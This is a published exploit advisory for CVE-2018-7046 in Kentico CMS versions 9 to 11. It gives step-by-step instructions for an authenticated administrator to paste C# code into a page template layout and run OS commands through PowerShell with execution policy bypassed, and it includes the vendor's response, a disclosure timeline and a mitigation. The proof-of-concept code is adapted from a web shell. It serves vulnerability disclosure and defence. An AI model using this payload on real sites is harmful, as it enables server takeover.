# Exploit Title: Kentico CMS version 9 through 11 - Arbitrary Code Execution
# Date: 17-02-2018
# Software Link: https://www.kentico.com
# Exploit Author: Keerati T.
# CVE: CVE-2018-7046
# Category: webapps
Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge websites and optimize your digital customers experiences fully across multiple channels. Kentico saves you time and resources so you can accomplish more. (Copy from Kentico homepage.)
2. Proof of Concept
In case of no product to install you can request Hosted Trial at https://www.kentico.com/download-demo/hosted-trial (Vendor message: Hosted trials are virtual applications running isolated and are limited by application pool permission set on server level so they should be safe as well.)
2.1 Log in as administrator.
2.2 Go to page.
2.3 At "Edit" on left panel, select any page under site.
2.4 Click "Template" tab locate on top right panel.
2.5 Under "Template" tab, select "Edit template properties".
2.6 Select "Layout" on popped "Template".
2.7 Fill the following c# code into text box. (modified from https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx)
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = "-noninteractive -executionpolicy bypass ipconfig";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
2.8 Click "Save" and see the response of issued OS commands.
3.1 Discovery and report - 14 Feb 2018.
3.2 Vendor response - 14 Feb 2018.
(This is actually intended functinality and our CMS allows authenticated users to edit and update ascx code layout. However this user has to be authentication and has to have permissions for these actions in our administration interface.
3.3 CVE ID was assigned - 15 Feb 2018.
3.4 Public - 17 Feb 2018.
Restricting the permission to allow only authorized user to edit ascot code layout.